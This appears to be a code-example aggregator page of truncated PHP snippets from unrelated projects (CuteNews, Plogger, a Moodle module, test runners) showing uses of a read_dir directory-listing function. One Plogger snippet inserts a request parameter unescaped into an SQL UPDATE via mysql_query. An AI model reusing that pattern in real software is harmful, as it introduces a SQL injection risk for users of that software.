     array_unshift($myDirs, "..");
 }
 $nrFiles = count($myFiles);
 // check restrictions like if files can be deleted or folders created or of the folder does exists
 $status = check_restrictions($dir, $show_root, $myFiles, $fix_utf8, $status);
 // we check if we have an error in the upload!
 if (isset($_SESSION["upload_memory_limit"]) && isset($_GET['check_upload'])) {
     $mem_errors = "&upload_mem_errors=" . $_SESSION["upload_memory_limit"];
     unset($_SESSION["upload_memory_limit"]);
 } else {
     $mem_errors = "";
 }
Ejemplo n.º 21
0
/**
 * Read directory
 *
 * @param   string      directory to read
 * @param   int         depth to recurse directory, 1 is only current and 0 or smaller is unlimited
 * @param   Array|null  array of partial regexes or non-array for default
 * @return  array  directory contents in an array
 */
function read_dir($path, $depth = 0, $filter = null)
{
    $path = realpath($path) . '/';
    if (!is_dir($path)) {
        throw new \InvalidPathException('Invalid path, directory cannot be read.');
    }
    if (!($fp = @opendir($path))) {
        throw new \FileAccessException('Could not open directory for reading.');
    }
    // use default when not set
    is_array($filter) or $filter = array('!^\\.');
    $files = array();
    $dirs = array();
    $new_depth = $depth - 1;
    while (false !== ($file = readdir($fp))) {
        // Remove '.', '..'
        if (in_array($file, array('.', '..'))) {
            continue;
        } elseif (!empty($filter)) {
            $continue = false;
            // whether or not to continue
            $matched = false;
            // whether any positive pattern matched
            $positive = false;
            // whether positive filters are present
            foreach ($filter as $f => $type) {
                if (is_numeric($f)) {
                    // generic rule
                    $f = $type;
                } else {
                    // type specific rule
                    $is_file = is_file($path . $file);
                    if ($type === 'file' and !$is_file or $type !== 'file' and $is_file) {
                        continue;
                    }
                }
                $not = substr($f, 0, 1) == '!';
                // whether it's a negative condition
                $f = $not ? substr($f, 1) : $f;
                // on negative condition a match leads to a continue
                if ($match = preg_match('/' . $f . '/uiD', $file) > 0 and $not) {
                    $continue = true;
                }
                $positive = $positive ?: !$not;
                // whether a positive condition was encountered
                $matched = $matched ?: ($match and !$not);
                // whether one of the filters has matched
            }
            // continue when negative matched or when positive filters and nothing matched
            if ($continue or $positive and !$matched) {
                continue;
            }
        }
        if (@is_dir($path . $file)) {
            // Use recursion when depth not depleted or not limited...
            if ($depth < 1 or $new_depth > 0) {
                $dirs[$file . '/'] = read_dir($path . $file . '/', $new_depth, $filter);
            } else {
                $dirs[$file . '/'] = false;
            }
        } else {
            $files[] = $file;
        }
    }
    closedir($fp);
    // sort dirs & files naturally and return array with dirs on top and files
    uksort($dirs, 'strnatcasecmp');
    natcasesort($files);
    return array_merge($dirs, $files);
}
Ejemplo n.º 22
0
 /**
  * 该方法实现了自动缓存系统类库代码路径到内存
  */
 private static function sysClassCache()
 {
     static $classArr = array();
     static $sys_dir = array(SYS_KERNEL, SYS_LIB, SYS_CORE, SYS_VENDOR);
     if (!DEBUG && !empty($classArr)) {
         return $classArr;
     }
     foreach ($sys_dir as $sd) {
         if (is_dir($sd)) {
             $dirArr = read_dir($sd);
             if (is_array($dirArr) && !empty($dirArr)) {
                 foreach ($dirArr as $file) {
                     if (strstr($file, CLS_EXT) != CLS_EXT) {
                         continue;
                     }
                     $classArr[basename($file, CLS_EXT)] = $file;
                 }
             }
             unset($dirArr);
         }
     }
     return $classArr;
 }
Ejemplo n.º 23
0
}
function check_theme_token($theme)
{
    global $config;
    $content = '';
    $comment_file = $config['basedir'] . 'plog-content/themes/' . $theme . '/comments.php';
    $content = implode('', file($comment_file));
    if (strpos($content, 'plogger_get_form_token') === false) {
        return false;
    }
    return true;
}
$output = "\n\t" . '<h1>' . plog_tr('Manage Themes') . '</h1>';
$theme_dir = $config['basedir'] . 'plog-content/themes/';
// Scan list of folders within theme directory
$theme_list = read_dir($theme_dir);
sort($theme_list);
// Activate new theme by setting configuration dir
if (isset($_REQUEST['activate'])) {
    // Insert into database
    $new_theme_dir = basename($_REQUEST['activate']);
    $metafile = $config['basedir'] . 'plog-content/themes/' . $new_theme_dir . '/meta.php';
    if (file_exists($metafile)) {
        include $metafile;
        $sql = 'UPDATE ' . PLOGGER_TABLE_PREFIX . 'config SET `theme_dir` = \'' . $new_theme_dir . '\'';
        $name = $theme_name . ' ' . $version;
        if (mysql_query($sql)) {
            $output .= "\n\n\t\t" . '<p class="success">' . sprintf(plog_tr('Activated new theme %s'), '<strong>' . $name . '</strong>') . '</p>';
        } else {
            $output .= "\n\n\t\t" . '<p class="errors">' . plog_tr('Error activating theme') . '!</p>';
        }
Ejemplo n.º 24
0
            $currentPageObject = create_page_object();
        }
    }
    if (count($currentPageObject->posts) > 0) {
        $fileName = "page_" . $category . "_" . $pageNumber . ".json";
        write_file_output($fileName, $currentPageObject);
    }
}
$filelist = glob("*", GLOB_ONLYDIR);
$filelistInt = array();
foreach ($filelist as $file) {
    $filelistInt[] = (int) $file;
}
sort($filelistInt);
$filelist = $filelistInt;
echo json_encode($filelist), PHP_EOL;
$posts = array();
foreach ($filelist as $file) {
    $post = read_dir($file);
    $posts[] = $post;
    $fileName = "post_" . $post->id . ".json";
    $postFileContent = new StdClass();
    $postFileContent->status = "ok";
    $postFileContent->post = $post;
    write_file_output($fileName, $postFileContent);
}
$posts = array_reverse($posts);
$categories = get_categories($posts);
foreach ($categories as $category) {
    generate_category_pages($posts, $category);
}
Ejemplo n.º 25
0
 public function getDeviceIDList()
 {
     return read_dir($this->assets_devices_data);
 }
Ejemplo n.º 26
0
    list($day_to, $month_to, $year_to) = make_postponed_date($date_to);
    $selected_search_arch = empty($archives) ? false : "checked='checked'";
    $story = htmlspecialchars(urldecode($story));
    $title = htmlspecialchars(urldecode($title));
    $author = htmlspecialchars(urldecode($author));
    $hide = ($title or $author or !empty($archives)) ? false : true;
    echo proc_tpl('search');
}
// Do Search -------------------------------------------------------------------------------------------------------
if ($dosearch == "yes") {
    $mc_start = microtime(true);
    // In active news anyway
    $listing = array(time() => '/cdata/news.txt');
    // Also, search in archive if present (sort it)
    if (!empty($archives)) {
        $dir = read_dir(SERVDIR . '/cdata/archives');
        foreach ($dir as $vs) {
            if (preg_match('~(\\d+)\\.news\\.arch$~i', $vs, $c)) {
                $listing[$c[1]] = $vs;
            }
        }
    }
    krsort($listing);
    // Init searching
    $preg_story = '[^\\|]*';
    $preg_author = '[^\\|]*';
    $preg_title = '[^\\|]*';
    if (!empty($user)) {
        $preg_author = '.*?(' . preg_replace('/\\s/', '|', preg_sanitize($user)) . ')[^\\|]*';
    }
    if (!empty($title)) {
Ejemplo n.º 27
0
 function GetNewsList()
 {
     return read_dir($this->data_dir);
 }
Ejemplo n.º 28
0
         }
         $out .= '</select>';
     }
     // --- make line ---
     if ($counter++ % 2 == 0) {
         $bg = "bgcolor=#F7F6F4";
     } else {
         $bg = "";
     }
     return proc_tpl("options/syscon.row", array('bg' => $bg, 'title' => lang($title), 'field' => $out, 'description' => lang($desc)));
 }
 // ---------- show options
 echoheader("options", lang("System Configuration"), make_breadcrumbs($bc));
 echo proc_tpl('options/syscon.top', array('add_fields' => hook('field_options_buttons')));
 $skins = array();
 $dirs = read_dir(SERVDIR . "/skins", array(), false);
 foreach ($dirs as $skin_file) {
     if (preg_match('/([^\\/]+)\\.skin\\.php$/i', $skin_file, $c)) {
         $skins[$c[1]] = $c[1];
     }
 }
 // General
 echo "<tr style='' id=general><td colspan=10 width=100%><table cellpadding=0 cellspacing=0 width=100%>";
 echo syscon('http_script_dir', 'Full URL to CuteNews directory|example: http://yoursite.com/cutenews');
 echo syscon('default_charset', 'Frontend default codepage|for example: windows-1251, utf-8, koi8-r etc');
 echo syscon('skin', 'CuteNews skin|you can download more from our website', $skins);
 echo syscon('useutf8', 'Use UTF-8|with this option, admin panel uses utf-8 charset', 'Y/N');
 echo syscon('utf8html', "Don't convert UTF8 symbols to HTML entities|no conversion, e.g. &aring; to &amp;aring;", 'Y/N');
 echo syscon('use_wysiwyg', "Use WYSIWYG Editor|use (or not) the advanced editor", array('no' => 'No', 'ckeditor' => 'CKEditor'));
 if (getoption('use_wysiwyg') == 'ckeditor') {
     echo syscon('ckeditor_customize=50/12', 'Customize CKEditor|<a href="http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Toolbar" target="_blank">CKEditor options</a>', ':text:');
Ejemplo n.º 29
0
$langname['eu'] = 'Euskara (eu)';
$langname['fr'] = 'Français (fr)';
$langname['he'] = 'ית (he';
$langname['hr'] = 'Hrvatski (hr)';
$langname['it'] = 'Italiano (it)';
$langname['lt'] = 'Lietuviškai (lt)';
$langname['nl'] = 'Nederlands (nl)';
$langname['no'] = 'Norsk - bokmål (no)';
$langname['pl'] = 'Polski (pl)';
$langname['ru'] = 'Русский (ru)';
$langname['sq'] = 'Shqip (sq)';
$langname['uk'] = 'Українська (uk)';
$langname['pt_br'] = 'Português - Brasil (pt_br)';
$langname['zh_cn'] = '简体中文 (zh_cn)';
ksort($langname);
$a = read_dir($CFG->dirroot . '/mod/game', 'php');
$strings = array();
$files = array();
foreach ($a as $file) {
    $files[] = $file;
}
sort($files);
foreach ($files as $file) {
    readsourcecode($file, $strings);
}
$strings['game:attempt'] = '/db/access.php * game:attempt';
$strings['game:deleteattempts'] = '/db/access.php * game:deleteattempts';
$strings['game:grade'] = '/db/access.php * game:grade';
$strings['game:manage'] = '/db/access.php * game:manage';
$strings['game:manageoverrides'] = '/db/access.php * game:manageoverrides';
$strings['game:preview'] = '/db/access.php * game:preview';
Ejemplo n.º 30
0
 }
 if (isset($_POST['views']) or isset($_POST['all'])) {
     $dirs[] = TESTS_DIR . 'views';
 }
 if (isset($_POST['libraries']) or isset($_POST['all'])) {
     $dirs[] = TESTS_DIR . 'libraries';
 }
 if (isset($_POST['bugs']) or isset($_POST['all'])) {
     $dirs[] = TESTS_DIR . 'bugs';
 }
 if (isset($_POST['helpers']) or isset($_POST['all'])) {
     $dirs[] = TESTS_DIR . 'helpers';
 }
 if (!empty($dirs)) {
     foreach ($dirs as $dir) {
         $dir_files = read_dir($dir);
         foreach ($dir_files as $file) {
             if (false !== strpos($file, '_controller')) {
                 if (file_exists(TESTS_DIR . 'controllers/' . $file)) {
                     add_test('controllers', $file, $test);
                 }
             } elseif (false !== strpos($file, '_model')) {
                 if (file_exists(TESTS_DIR . 'models/' . $file)) {
                     add_test('models', $file, $test);
                 }
             } elseif (false !== strpos($file, '_view')) {
                 if (file_exists(TESTS_DIR . 'views/' . $file)) {
                     add_test('views', $file, $test);
                 }
             } elseif (false !== strpos($file, '_library')) {
                 if (file_exists(TESTS_DIR . 'libraries/' . $file)) {